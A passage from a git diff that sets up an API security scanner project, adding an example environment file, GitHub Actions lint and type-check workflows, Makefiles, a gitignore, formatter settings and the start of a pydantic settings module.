Building 70 Projects ranging from beginner to advanced so anyone can — learn from, build upon, use as a reference, or even copy directly. Owned by my cybersecurity company 👇
Go aicertificationcloud-engineeringcybercybersecuritycybersecurity-analystcybersecurity-certificationcybersecurity-certificationscybersecurity-educationcybersecurity-jobscybersecurity-portfoliocybersecurity-projectscybersecurity-toolsgrchackinglearningpentestingproject-repositoryprojetcspython
initial
CarterPerez-dev7b0a43aaea2a
diff --git a/api-security-scanner/.env.example b/api-security-scanner/.env.examplenew file mode 100644index 00000000..8e4e3786--- /dev/null+++ b/api-security-scanner/.env.example@@ -0,0 +1,85 @@+# ⒸAngelaMos | 2025+# ---------------------------------------------+# API Security Scanner - Environment Variables+# Copy this file to .env and update the values++# Application Settings+APP_NAME="API Security Tester"+VERSION="1.0.0"+DEBUG=true++# Security+# IMPORTANT: Generate a secure random key for production!+# Example: openssl rand -hex 32+SECRET_KEY=your-secret-key-change-this-in-production+ALGORITHM=HS256+ACCESS_TOKEN_EXPIRE_MINUTES=1440++# Database (PostgreSQL)+# For local development (outside Docker)+POSTGRES_USER=apiuser+POSTGRES_PASSWORD=apipass+POSTGRES_DB=apisecurity+POSTGRES_HOST=localhost+POSTGRES_PORT=5432++# Database URL (overridden by docker-compose for container networking)+DATABASE_URL=postgresql://${POSTGRES_USER}:${POSTGRES_PASSWORD}@${POSTGRES_HOST}:${POSTGRES_PORT}/${POSTGRES_DB}++# Backend API+BACKEND_HOST=0.0.0.0+BACKEND_PORT=8000++# CORS Origins (comma-separated for multiple origins)+# Include both direct Vite dev server (5173) and nginx proxy (80)+CORS_ORIGINS=http://localhost:5173,http://localhost:3000,http://localhost++# Frontend API URL+# When using Docker with nginx: http://localhost/api+# When running Vite directly (npm run dev): http://localhost:8000+VITE_API_URL=http://localhost/api++# ---------------------------------------------+# Docker Host Port Mappings+# ---------------------------------------------+# Change these if you have port conflicts on your host machine+# Format: HOST_PORT:CONTAINER_PORT (only HOST_PORT is configurable)+HOST_DB_PORT=5432+HOST_BACKEND_PORT=8000+HOST_FRONTEND_PORT=5173+HOST_NGINX_PORT=80+# Uncomment for production HTTPS:+# HOST_NGINX_HTTPS_PORT=443++# ---------------------------------------------+# Scanner Configuration+# ---------------------------------------------+# Default maximum requests for scans+DEFAULT_MAX_REQUESTS=100+DEFAULT_TIMEOUT_SECONDS=10+DEFAULT_RETRY_COUNT=3++# Scanner rate limiting (outgoing requests to target)+SCANNER_RATE_LIMIT_THRESHOLD=100+SCANNER_RATE_LIMIT_WINDOW_SECONDS=60++# Scanner timeouts and connection limits+SCANNER_MAX_CONCURRENT_REQUESTS=50+SCANNER_CONNECTION_TIMEOUT=30+SCANNER_READ_TIMEOUT=30++# Scanner request spacing and timing+DEFAULT_JITTER_MS=100+DEFAULT_RETRY_WAIT_SECONDS=60+DEFAULT_BASELINE_SAMPLES=10++# Field Validation Constants+PASSWORD_MIN_LENGTH=8+PASSWORD_MAX_LENGTH=100+EMAIL_MAX_LENGTH=255+URL_MAX_LENGTH=2048++# Production Settings (optional, uncomment for prod)+# DEBUG=false+# CORS_ORIGINS=https://yourdomain.com+# VITE_API_URL=https://api.yourdomain.comdiff --git a/api-security-scanner/.github/workflows/eslint-check.yml b/api-security-scanner/.github/workflows/eslint-check.ymlnew file mode 100644index 00000000..67bc1bf3--- /dev/null+++ b/api-security-scanner/.github/workflows/eslint-check.yml@@ -0,0 +1,120 @@+name: ESLint Check++on:+ pull_request:+ branches: [ '*' ]+ paths:+ - 'frontend/**/*.ts'+ - 'frontend/**/*.tsx'+ - 'frontend/eslint.config.js'+ - 'frontend/tsconfig*.json'+ - 'frontend/package.json'+ - '.github/workflows/eslint-check.yml'++jobs:+ eslint-check:+ name: ESLint TypeScript Check+ runs-on: ubuntu-latest++ permissions:+ pull-requests: write+ contents: read++ defaults:+ run:+ working-directory: frontend++ steps:+ - name: Checkout code+ uses: actions/checkout@v4++ - name: Setup Node.js+ uses: actions/setup-node@v4+ with:+ node-version: '20'+ cache: 'npm'+ cache-dependency-path: frontend/package-lock.json++ - name: Install dependencies+ run: npm install++ - name: Run ESLint+ id: eslint_check+ run: |+ echo "Running ESLint on TypeScript/React files..."+ if npm run lint:eslint > eslint-output.txt 2>&1; then+ echo "ESLINT_PASSED=true" >> $GITHUB_ENV+ echo "✅ No ESLint errors found!"+ echo "ERROR_COUNT=0" >> $GITHUB_ENV+ else+ echo "ESLINT_PASSED=false" >> $GITHUB_ENV+ # Count error lines (lines that contain file paths with problems)+ error_count=$(grep -c "^/" eslint-output.txt || echo "0")+ echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV+ echo "⚠️ ESLint found issues in $error_count files!"+ fi+ cat eslint-output.txt+ continue-on-error: true++ - name: Create ESLint Summary+ id: create_summary+ if: github.event_name == 'pull_request'+ run: |+ {+ echo '## 🔍 ESLint Results'+ echo ''++ if [[ "${{ env.ESLINT_PASSED }}" == "true" ]]; then+ echo '### ✅ **Perfect! No ESLint issues found** 🎉'+ echo ''+ echo 'Your TypeScript and React code follows all the coding standards perfectly!'+ echo ''+ echo '**What was checked:**'+ echo '- TypeScript strict type checking and stylistic rules'+ echo '- React component patterns and hooks usage'+ echo '- Code complexity, naming conventions, and best practices'+ echo '- Accessibility (jsx-a11y) and React Refresh compatibility'+ else+ echo '### ❌ **ESLint found issues in ${{ env.ERROR_COUNT }} files**'+ echo ''+ echo 'Please review and fix the TypeScript/React issues below:'+ echo ''+ echo '<details><summary>📋 View detailed ESLint output</summary>'+ echo ''+ echo '```'+ head -100 eslint-output.txt+ echo '```'+ echo '</details>'+ echo ''+ echo '**How to fix:**'+ echo '1. Run `cd frontend && npm run lint:eslint` locally to see the issues'+ echo '2. Fix the reported TypeScript, React, and code quality problems'+ echo '3. For auto-fixable issues: `cd frontend && npx eslint . --ext .ts,.tsx --fix`'+ echo '4. Push your changes to update this PR'+ fi+ echo ''+ echo '**Commands:**'+ echo '- `cd frontend && npm run lint:eslint` - Run ESLint'+ echo '- `cd frontend && npx eslint . --ext .ts,.tsx --fix` - Auto-fix issues'+ echo '- ESLint config: `frontend/eslint.config.js`'+ echo ''+ echo '<!-- eslint-check-comment-marker -->'+ } > eslint-report.md++ - name: Post PR Comment+ if: github.event_name == 'pull_request'+ uses: peter-evans/create-or-update-comment@v4+ with:+ issue-number: ${{ github.event.pull_request.number }}+ body-path: frontend/eslint-report.md+ edit-mode: replace++ - name: Exit with proper code+ run: |+ if [[ "${{ env.ESLINT_PASSED }}" == "false" ]]; then+ echo "❌ ESLint checks failed. Please fix the issues above."+ exit 1+ else+ echo "✅ All ESLint checks passed!"+ exit 0+ fidiff --git a/api-security-scanner/.github/workflows/lint.yml b/api-security-scanner/.github/workflows/lint.ymlnew file mode 100755index 00000000..1515e776--- /dev/null+++ b/api-security-scanner/.github/workflows/lint.yml@@ -0,0 +1,156 @@+name: Lint & Type Check++on:+ pull_request:+ branches: [ '*' ]+ workflow_dispatch:++jobs:+ lint:+ name: Run Linters+ runs-on: ubuntu-latest++ permissions:+ pull-requests: write+ contents: read++ defaults:+ run:+ working-directory: backend++ steps:+ - name: Checkout code+ uses: actions/checkout@v4++ - name: Set up Python+ uses: actions/setup-python@v5+ with:+ python-version: '3.12'++ - name: Cache pip dependencies+ uses: actions/cache@v4+ with:+ path: ~/.cache/pip+ key: ${{ runner.os }}-pip-${{ hashFiles('backend/pyproject.toml') }}+ restore-keys: |+ ${{ runner.os }}-pip-++ - name: Install dependencies+ run: |+ python -m pip install --upgrade pip+ pip install -e ".[dev]"++ - name: Run pylint+ id: pylint+ run: |+ echo "Running pylint..."+ if pylint . > pylint-output.txt 2>&1; then+ echo "PYLINT_PASSED=true" >> $GITHUB_ENV+ echo "✅ No pylint errors found!"+ else+ echo "PYLINT_PASSED=false" >> $GITHUB_ENV+ echo "⚠️ Pylint found issues!"+ fi+ cat pylint-output.txt+ continue-on-error: true++ - name: Run ruff+ id: ruff+ run: |+ echo "Running ruff check..."+ if ruff check . > ruff-output.txt 2>&1; then+ echo "RUFF_PASSED=true" >> $GITHUB_ENV+ echo "✅ No ruff errors found!"+ else+ echo "RUFF_PASSED=false" >> $GITHUB_ENV+ echo "⚠️ Ruff found issues"+ fi+ cat ruff-output.txt+ continue-on-error: true++ - name: Run mypy+ id: mypy+ run: |+ echo "Running mypy..."+ if mypy . > mypy-output.txt 2>&1; then+ echo "MYPY_PASSED=true" >> $GITHUB_ENV+ echo "✅ No mypy errors found"+ else+ echo "MYPY_PASSED=false" >> $GITHUB_ENV+ echo "⚠️ Mypy found issues"+ fi+ cat mypy-output.txt+ continue-on-error: true++ - name: Create Lint Summary+ id: create_summary+ if: github.event_name == 'pull_request'+ run: |+ {+ echo '## 🔍 Lint & Type Check Results'+ echo ''++ # Pylint Status+ if [[ "${{ env.PYLINT_PASSED }}" == "true" ]]; then+ echo '### ✅ Pylint: **Passed**'+ echo 'No pylint issues found.'+ else+ echo '### ⚠️ Pylint: **Issues Found**'+ echo '<details><summary>View pylint output</summary>'+ echo ''+ echo '```'+ head -100 pylint-output.txt+ echo '```'+ echo '</details>'+ fi+ echo ''++ # Ruff Status+ if [[ "${{ env.RUFF_PASSED }}" == "true" ]]; then+ echo '### ✅ Ruff: **Passed**'+ echo 'No ruff issues found.'+ else+ echo '### ⚠️ Ruff: **Issues Found**'+ echo '<details><summary>View ruff output</summary>'+ echo ''+ echo '```'+ head -100 ruff-output.txt+ echo '```'+ echo '</details>'+ fi+ echo ''++ # Mypy Status+ if [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then+ echo '### ✅ Mypy: **Passed**'+ echo 'No mypy issues found.'+ else+ echo '### ⚠️ Mypy: **Issues Found**'+ echo '<details><summary>View mypy output</summary>'+ echo ''+ echo '```'+ head -100 mypy-output.txt+ echo '```'+ echo '</details>'+ fi+ echo ''++ # Overall Summary+ if [[ "${{ env.PYLINT_PASSED }}" == "true" ]] && [[ "${{ env.RUFF_PASSED }}" == "true" ]] && [[ "${{ env.MYPY_PASSED }}" == "true" ]]; then+ echo '---'+ echo '### All checks passed!'+ else+ echo '---'+ echo '### Review the issues above and consider fixing them.'+ fi+ echo ''+ echo '<!-- lint-check-comment-marker -->'+ } > ../lint-report.md++ - name: Post PR Comment+ if: github.event_name == 'pull_request'+ uses: peter-evans/create-or-update-comment@v4+ with:+ issue-number: ${{ github.event.pull_request.number }}+ body-path: lint-report.md+ comment-marker: lint-check-comment-markerdiff --git a/api-security-scanner/.github/workflows/typescript-check.yml b/api-security-scanner/.github/workflows/typescript-check.ymlnew file mode 100644index 00000000..51a21615--- /dev/null+++ b/api-security-scanner/.github/workflows/typescript-check.yml@@ -0,0 +1,129 @@+name: TypeScript Type Check++on:+ pull_request:+ branches: [ '*' ]+ paths:+ - 'frontend/**/*.ts'+ - 'frontend/**/*.tsx'+ - 'frontend/tsconfig*.json'+ - 'frontend/package.json'+ - '.github/workflows/typescript-check.yml'++jobs:+ typescript-check:+ name: TypeScript Type Check+ runs-on: ubuntu-latest++ permissions:+ pull-requests: write+ contents: read++ defaults:+ run:+ working-directory: frontend++ steps:+ - name: Checkout code+ uses: actions/checkout@v4++ - name: Setup Node.js+ uses: actions/setup-node@v4+ with:+ node-version: '20'+ cache: 'npm'+ cache-dependency-path: frontend/package-lock.json++ - name: Install dependencies+ run: |+ for i in {1..3}; do+ echo "Attempt $i of 3..."+ if npm install; then+ echo "✅ npm install succeeded"+ break+ else+ echo "⚠️ npm install failed, retrying in 10 seconds..."+ sleep 10+ fi+ done++ - name: Run TypeScript type checking+ id: typescript_check+ run: |+ echo "Running TypeScript type checking..."+ if npm run lint:types > typescript-output.txt 2>&1; then+ echo "TYPESCRIPT_PASSED=true" >> $GITHUB_ENV+ echo "✅ No TypeScript type errors found!"+ echo "ERROR_COUNT=0" >> $GITHUB_ENV+ else+ echo "TYPESCRIPT_PASSED=false" >> $GITHUB_ENV+ # Count error lines (lines that contain errors)+ error_count=$(grep -c "error TS" typescript-output.txt || echo "0")+ echo "ERROR_COUNT=$error_count" >> $GITHUB_ENV+ echo "⚠️ TypeScript found $error_count type errors!"+ fi+ cat typescript-output.txt+ continue-on-error: true++ - name: Create TypeScript Summary+ id: create_summary+ if: github.event_name == 'pull_request'+ run: |+ {+ echo '## 📝 TypeScript Type Check Results'+ echo ''++ if [[ "${{ env.TYPESCRIPT_PASSED }}" == "true" ]]; then+ echo '### ✅ **Perfect! No TypeScript type errors found** 🎉'+ echo ''+ echo 'Your TypeScript code passes all strict type checking requirements!'+ echo ''+ echo '**What was checked:**'+ echo '- Strict type checking with `exactOptionalPropertyTypes`'+ echo '- No unused locals or parameters'+ echo '- Proper return types and void expressions'+ echo '- Module resolution and import/export syntax'+ else+ echo '### ❌ **TypeScript found ${{ env.ERROR_COUNT }} type errors**'+ echo ''+ echo 'Please review and fix the TypeScript type errors below:'+ echo ''+ echo '<details><summary>📋 View detailed TypeScript output</summary>'+ echo ''+ echo '```'+ head -100 typescript-output.txt+ echo '```'+ echo '</details>'+ echo ''+ echo '**How to fix:**'+ echo '1. Run `cd frontend && npm run lint:types` locally to see the type errors'+ echo '2. Fix the reported TypeScript type issues'+ echo '3. Ensure all variables have proper types and return types are explicit'+ echo '4. Push your changes to update this PR'+ fi+ echo ''+ echo '**Commands:**'+ echo '- `cd frontend && npm run lint:types` - Run TypeScript type checking'+ echo '- `cd frontend && npm run build` - Run full build with type checking'+ echo '- TypeScript config: `frontend/tsconfig.app.json`'+ echo ''+ echo '<!-- typescript-check-comment-marker -->'+ } > typescript-report.md++ - name: Post PR Comment+ if: github.event_name == 'pull_request'+ uses: peter-evans/create-or-update-comment@v4+ with:+ issue-number: ${{ github.event.pull_request.number }}+ body-path: frontend/typescript-report.md+ edit-mode: replace++ - name: Exit with proper code+ run: |+ if [[ "${{ env.TYPESCRIPT_PASSED }}" == "false" ]]; then+ echo "❌ TypeScript type checking failed. Please fix the type errors above."+ exit 1+ else+ echo "✅ All TypeScript type checks passed!"+ exit 0+ fidiff --git a/api-security-scanner/.gitignore b/api-security-scanner/.gitignorenew file mode 100644index 00000000..49a7792a--- /dev/null+++ b/api-security-scanner/.gitignore@@ -0,0 +1,50 @@+# ⒸAngelaMos | 2025+# Gitignore - This is where you list files/folders that+# should not be publicly commited to the remote repository++# Python+__pycache__/+*.py[cod]+*$py.class+*.so+.Python+venv/+env/+ENV/+.venv+*.cache+*.egg-info++# FastAPI+.env+.env.local++# Database+*.db+*.sqlite3++# IDEs+.vscode/+.idea/+*.swp+*.swo++# Node/Frontend+node_modules/+dist/+build/+.DS_Store++# Logs+*.log++# Testing+.pytest_cache/+.coverage+htmlcov/++# Docker+.dockerignore++# OS+Thumbs.dbdiff --git a/api-security-scanner/Makefile b/api-security-scanner/Makefilenew file mode 100644index 00000000..d96f1504--- /dev/null+++ b/api-security-scanner/Makefile@@ -0,0 +1,57 @@+# Makefile+# ⒸAngelaMos | 2025+# Alias commands to easily run commands (use this or package.json scripts)++.PHONY: help dev dev-build dev-down dev-logs prod prod-build prod-down prod-logs clean clean-all++help:+ @echo "API Security Scanner - Available Commands"+ @echo "=========================================="+ @echo ""+ @echo "Development:"+ @echo " make dev - Start development environment"+ @echo " make dev-build - Build and start development environment"+ @echo " make dev-down - Stop development environment"+ @echo " make dev-logs - View development logs (follow mode)"+ @echo ""+ @echo "Production:"+ @echo " make prod - Start production environment (detached)"+ @echo " make prod-build - Build and start production environment"+ @echo " make prod-down - Stop production environment"+ @echo " make prod-logs - View production logs (follow mode)"+ @echo ""+ @echo "Cleanup:"+ @echo " make clean - Stop all containers and remove volumes"+ @echo " make clean-all - Clean + remove all Docker images/cache"+ @echo ""++dev:+ docker compose -f docker-compose.dev.yml up++dev-build:+ docker compose -f docker-compose.dev.yml up --build++dev-down:+ docker compose -f docker-compose.dev.yml down++dev-logs:+ docker compose -f docker-compose.dev.yml logs -f++prod:+ docker compose -f docker-compose.prod.yml up -d++prod-build:+ docker compose -f docker-compose.prod.yml up --build -d++prod-down:+ docker compose -f docker-compose.prod.yml down++prod-logs:+ docker compose -f docker-compose.prod.yml logs -f++clean:+ docker compose -f docker-compose.dev.yml down -v+ docker compose -f docker-compose.prod.yml down -v++clean-all: clean+ docker system prune -af --volumesdiff --git a/api-security-scanner/backend/.style.yapf b/api-security-scanner/backend/.style.yapfnew file mode 100755index 00000000..981e93ac--- /dev/null+++ b/api-security-scanner/backend/.style.yapf@@ -0,0 +1,47 @@+# ⒸAngelaMos | 2025 | CarterPerez-dev+[style]+based_on_style = pep8+column_limit = 70+indent_width = 4+continuation_indent_width = 4+indent_closing_brackets = false+dedent_closing_brackets = true+indent_blank_lines = false+spaces_before_comment = 2+spaces_around_power_operator = false+spaces_around_default_or_named_assign = true+space_between_ending_comma_and_closing_bracket = false+space_inside_brackets = false+spaces_around_subscript_colon = true+blank_line_before_nested_class_or_def = false+blank_line_before_class_docstring = false+blank_lines_around_top_level_definition = 2+blank_lines_between_top_level_imports_and_variables = 2+blank_line_before_module_docstring = false+split_before_logical_operator = true+split_before_first_argument = true+split_before_named_assigns = true+split_complex_comprehension = true+split_before_expression_after_opening_paren = false+split_before_closing_bracket = true+split_all_comma_separated_values = true+split_all_top_level_comma_separated_values = false+coalesce_brackets = false+each_dict_entry_on_separate_line = true+allow_multiline_lambdas = false+allow_multiline_dictionary_keys = false+split_penalty_import_names = 0+join_multiple_lines = false+align_closing_bracket_with_visual_indent = true+arithmetic_precedence_indication = false+split_penalty_for_added_line_split = 275+use_tabs = false+split_before_dot = false+split_arguments_when_comma_terminated = true+i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']+i18n_comment = ['# Translators:', '# i18n:']+split_penalty_comprehension = 80+split_penalty_after_opening_bracket = 280+split_penalty_before_if_expr = 0+split_penalty_bitwise_operator = 290+split_penalty_logical_operator = 0diff --git a/api-security-scanner/backend/Makefile b/api-security-scanner/backend/Makefilenew file mode 100644index 00000000..c15582b9--- /dev/null+++ b/api-security-scanner/backend/Makefile@@ -0,0 +1,154 @@+# CertGames Backend Makefile+# 2025 | ©AngelaMos+++PYTHON := python++.DEFAULT_GOAL := dev++MAKEFLAGS += --no-print-directory++.PHONY: help dev install reinstall check fix mypy clean tree TODO pylint+++define ASCII+ @echo "\033[35m"+ @echo " ⡋⣡⣴⣶⣶⡀⠄⠄⠙⢿⣿⣿⣿⣿⣿⣴⣿⣿⣿⢃⣤⣄⣀⣥⣿"+ @echo " ⢸⣇⠻⣿⣿⣿⣧⣀⢀⣠⡌⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⣿⣿"+ @echo " ⢸⣿⣷⣤⣤⣤⣬⣙⣛⢿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡍⠄⠄⢀⣤⣄⠉"+ @echo " ⣖⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⢇⣿⣿⡷⠶⠶⢿⣿⣿⠇⢀"+ @echo " ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣷⣶⣥⣴"+ @echo " ⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿"+ @echo " ⣦⣌⣛⣻⣿⣿⣧⠙⠛⠛⡭⠅⠒⠦⠭⣭⡻⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠄"+ @echo " ⣿⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠄⠄⠄⠹⠈⢋⣽⣿⣿⣿⣿⣵⣾"+ @echo " ⣿⣿⣿⣿⣿⣿⣿⣿⠄⣴⣿⣶⣄⠄⣴⣶⠄⢀⣾⣿⣿⣿⣿⣿⣿⠃⠄⠄"+ @echo " ⠈⠻⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⠄⣿⣿⡀⣾⣿⣿⣿⣿⣛⠛⠁"+ @echo " ⠄⠄⠈⠛⢿⣿⣿⣿⠁⠞⢿⣿⣿⡄⢿⣿⡇⣸⣿⣿⠿⠛⠁⠄"+ @echo " ⠄⠄⠄⠄⠄⠉⠻⣿⣿⣾⣦⡙⠻⣷⣾⣿⠃⠿⠋⠁⠄"+ @echo "\033[0m"+endef++++help:+ @echo "\033[1;91mC\033[1;92me\033[1;93mr\033[1;94mt\033[1;95mG\033[1;96ma\033[1;91mm\033[1;92me\033[1;93ms\033[0m \033[1;94mBackend\033[0m \033[1;95mTesting\033[0m \033[1;96mCommands\033[0m"+ @echo "\033[1;5;93m==============================================\033[0m"+ @echo ""+ @echo "\033[1;4;96mSetup:\033[0m"+ @echo " \033[92mmake \033[36minstall-dev\033[0m \033[94m- Install development dependencies\033[0m"+ @echo " \033[92mmake \033[36mreinstall\033[0m \033[94m- Reinstall all dependencies with upgrades\033[0m"+ @echo ""+ @echo "\033[1;4;91mSyntax Checking (Ruff):\033[0m"+ @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Check all code for syntax issues\033[0m"+ @echo "\033[1;4;91mSyntax Fixing (Ruff):\033[0m"+ @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Fix all code of syntax issues\033[0m"+ @echo ""+ @echo "\033[1;4;94mType Checking (mypy):\033[0m"+ @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Type check all code\033[0m"+ @echo "\033[1;4;94mFormat:\033[0m"+ @echo " \033[92mmake \033[36mqa\033[0m \033[94m- Format code\033[0m"+ @echo ""+ @echo "\033[1;4;92mUtilities:\033[0m"+ @echo " \033[92mmake \033[36mclean\033[0m \033[94m- Remove all cache files\033[0m"+ @echo " \033[92mmake \033[36mtree\033[0m \033[94m- Display the file tree\033[0m"+ @echo " \033[92mmake \033[36mTODO\033[0m \033[94m- Find All TODO \033[0m"+ @echo ""+ @echo "\033[1;93mCurrent default domain: \033[1;5;95m$(DOMAIN)\033[0m"+ @echo ""+ @echo "\033[1;4;93mAvailable domains:\033[0m"+ @echo " \033[91maccount\033[0m, \033[92mcommunity\033[0m, \033[93mcontent\033[0m, \033[94mfreemium\033[0m, \033[95mgames\033[0m,"+ @echo " \033[96mmarketing\033[0m, \033[91mprogression\033[0m, \033[92mshop\033[0m, \033[93mtesting\033[0m, \033[94mtools\033[0m"+ @echo ""+ @echo "\033[95m ------------------------------"+ @echo "\033[34m ⣿⣿⣿⡷⠊⡢⡹⣦⡑⢂⢕⢂⢕⢂⢕⢂⠕⠔⠌⠝⠛⠶⠶⢶⣦⣄⢂⢕⢂⢕"+ @echo "\033[34m ⣿⣿⠏⣠⣾⣦⡐⢌⢿⣷⣦⣅⡑⠕⠡⠐⢿⠿⣛⠟⠛⠛⠛⠛⠡⢷⡈⢂⢕⢂"+ @echo "\033[34m ⠟⣡⣾⣿⣿⣿⣿⣦⣑⠝⢿⣿⣿⣿⣿⣿⡵⢁⣤⣶⣶⣿⢿⢿⢿⡟⢻⣤⢑⢂"+ @echo "\033[36m ⣾⣿⣿⡿⢟⣛⣻⣿⣿⣿⣦⣬⣙⣻⣿⣿⣷⣿⣿⢟⢝⢕⢕⢕⢕⢽⣿⣿⣷⣔"+ @echo "\033[36m ⣿⣿⠵⠚⠉⢀⣀⣀⣈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣗⢕⢕⢕⢕⢕⢕⣽⣿⣿⣿⣿"+ @echo "\033[36m ⢷⣂⣠⣴⣾⡿⡿⡻⡻⣿⣿⣴⣿⣿⣿⣿⣿⣿⣷⣵⣵⣵⣷⣿⣿⣿⣿⣿⣿⡿"+ @echo "\033[36m ⢌⠻⣿⡿⡫⡪⡪⡪⡪⣺⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃"+ @echo "\033[32m ⠣⡁⠹⡪⡪⡪⡪⣪⣾⣿⣿⣿⣿⠋⠐⢉⢍⢄⢌⠻⣿⣿⣿⣿⣿⣿⣿⣿⠏⠈"+ @echo "\033[32m ⡣⡘⢄⠙⣾⣾⣾⣿⣿⣿⣿⣿⣿⡀⢐⢕⢕⢕⢕⢕⡘⣿⣿⣿⣿⣿⣿⠏⠠⠈"+ @echo "\033[32m ⠌⢊⢂⢣⠹⣿⣿⣿⣿⣿⣿⣿⣿⣧⢐⢕⢕⢕⢕⢕⢅⣿⣿⣿⣿⡿⢋⢜⠠⠈"+ @echo "\033[95m ------------------------------"+ @echo "\033[0m"++++++venv:+ @echo "Creating and initializing virtual environment in .venv..."+ @python3 -m venv .venv++# If you use bash, change @zsh+# can also run as just 'make'+dev:+ @zsh -c "source .venv/bin/activate && exec zsh"+ $(call ASCII)++# ==================== Setup ====================+install:+ @echo "Installing development dependencies..."+ pip install -e ".[dev]"++reinstall:+ @echo "Reinstalling all dependencies (including upgrades)..."+ pip install -e ".[dev]" --upgrade --upgrade-strategy eager+ $(call ASCII)+++# ==================== Syntax Checking (Ruff) ====================+check:+ @echo "\033[1;3;4;96m======== Checking All Code ========\033[0m"+ @ruff check .+ $(call ASCII)+++# ==================== Syntax Checking (Ruff) ====================+fix:+ @echo "\033[1;3;4;96m======== ruff fix All Code ========\033[0m"+ @ruff check . --fix+ $(call ASCII)+++# ======================= In Depth Linting (pylint)=======================+pylint:+ @echo "\033[1;3;4;96m======== Linting All Code ========\033[0m"+ @pylint .+ $(call ASCII)++# ======================= Type Checking (mypy) =======================+mypy:+ @echo "\033[1;3;4;96m======== Type Checking All Code ========\033[0m"+ @mypy .+ $(call ASCII)+++# ======================== Yapf Format =============================+format:+ @echo "\033[1;3;4;96m======== Formatting only qa/ ========\033[0m"+ @yapf -i -r -vv models/ repositories/ schemas/ scanners/ core/ factory/+ $(call ASCII)++# ==================== Utilities ====================+clean:+ @echo "\033[1;3;4;96m======== Cleaning Cache Files ========\033[0m"+ find . -type f -name "*.pyc" -delete+ find . -type d -name "__pycache__" -delete+ find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true+ find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true+ find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true+ find . -type f -name ".coverage" -delete+ $(call ASCII)++tree:+ @echo "\033[1;3;4;96m======== Creating Tree ========\033[0m"+ @tree -I 'node_modules|.git|*.log|dist|build|*.cache|certgames.egg-info|context|.venv|*.env|qa_context'+ $(call ASCII)++TODO:+ @echo "\033[1;3;4;96m======== Looking for TODO's ========\033[0m"+ @find . -name "*.py" -print0 | xargs -0 pylint --disable=all --enable=W0511 --msg-template='{path}:{line}:{column}: {msg_id}: {msg} ({symbol})' || true+ $(call ASCII)+diff --git a/api-security-scanner/backend/__init__.py b/api-security-scanner/backend/__init__.pynew file mode 100644index 00000000..7f125b20--- /dev/null+++ b/api-security-scanner/backend/__init__.py@@ -0,0 +1,4 @@+"""+ⒸAngelaMos | 2025+API Security Scanner Backend Package+"""diff --git a/api-security-scanner/backend/config.py b/api-security-scanner/backend/config.pynew file mode 100644index 00000000..b834ac09--- /dev/null+++ b/api-security-scanner/backend/config.py@@ -0,0 +1,103 @@+"""+ⒸAngelaMos | 2025+All environment variables and constants are centralized here+"""++from functools import lru_cache+from pydantic_settings import BaseSettings, SettingsConfigDict+++class Settings(BaseSettings):+ """+ Application settings loaded from environment variables.++ All magic numbers and configuration values are defined here to avoid+ hardcoding throughout the application.+ """++ model_config = SettingsConfigDict(+ env_file="../.env", env_file_encoding="utf-8", case_sensitive=True+ )++ # Application metadata+ APP_NAME: str = "API Security Tester"+ VERSION: str = "1.0.0"+ DEBUG: bool = False++ # Database configuration+ DATABASE_URL: str+ POSTGRES_USER: str = "apiuser"+ POSTGRES_PASSWORD: str = "apipass"+ POSTGRES_DB: str = "apisecurity"+ POSTGRES_HOST: str = "localhost"+ POSTGRES_PORT: int = 5432++ # Security - JWT+ SECRET_KEY: str+ ALGORITHM: str = "HS256"+ ACCESS_TOKEN_EXPIRE_MINUTES: int = 1440 # 24 hours++ # Backend server+ BACKEND_HOST: str = "0.0.0.0"+ BACKEND_PORT: int = 8000++ # CORS origins (comma-separated string)+ CORS_ORIGINS: str = "http://localhost:5173,http://localhost:3000"++ # Scanner configuration - Default values+ DEFAULT_MAX_REQUESTS: int = 100+ DEFAULT_TIMEOUT_SECONDS: int = 10+ DEFAULT_RETRY_COUNT: int = 3++ # Scanner rate limiting (outgoing requests)+ SCANNER_RATE_LIMIT_THRESHOLD: int = 100+ SCANNER_RATE_LIMIT_WINDOW_SECONDS: int = 60++ # API endpoint rate limiting (incoming requests - slowapi format)+ API_RATE_LIMIT_LOGIN: str = "5/minute"+ API_RATE_LIMIT_REGISTER: str = "3/minute"+ API_RATE_LIMIT_SCAN: str = "10/minute"+ API_RATE_LIMIT_DEFAULT: str = "100/minute"++ # Pagination+ DEFAULT_PAGINATION_LIMIT: int = 100+ MAX_PAGINATION_LIMIT: int = 1000++ # Field validation constants+ PASSWORD_MIN_LENGTH: int = 8+ PASSWORD_MAX_LENGTH: int = 100+ EMAIL_MAX_LENGTH: int = 255+ URL_MAX_LENGTH: int = 2048++ # Scanner timeouts and limits+ SCANNER_MAX_CONCURRENT_REQUESTS: int = 50+ SCANNER_CONNECTION_TIMEOUT: int = 30+ SCANNER_READ_TIMEOUT: int = 30++ # Scanner request spacing and timing+ DEFAULT_JITTER_MS: int = 100+ DEFAULT_RETRY_WAIT_SECONDS: int = 60+ DEFAULT_BASELINE_SAMPLES: int = 10++ @property+ def cors_origins_list(self) -> list[str]:+ """+ Convert comma separated CORS origins string to list+ """+ return [origin.strip() for origin in self.CORS_ORIGINS.split(",")]+++@lru_cache+def get_settings() -> Settings:+ """+ Get cached settings instance.++ The @lru_cache decorator ensures settings are loaded only once+ and cached for the application 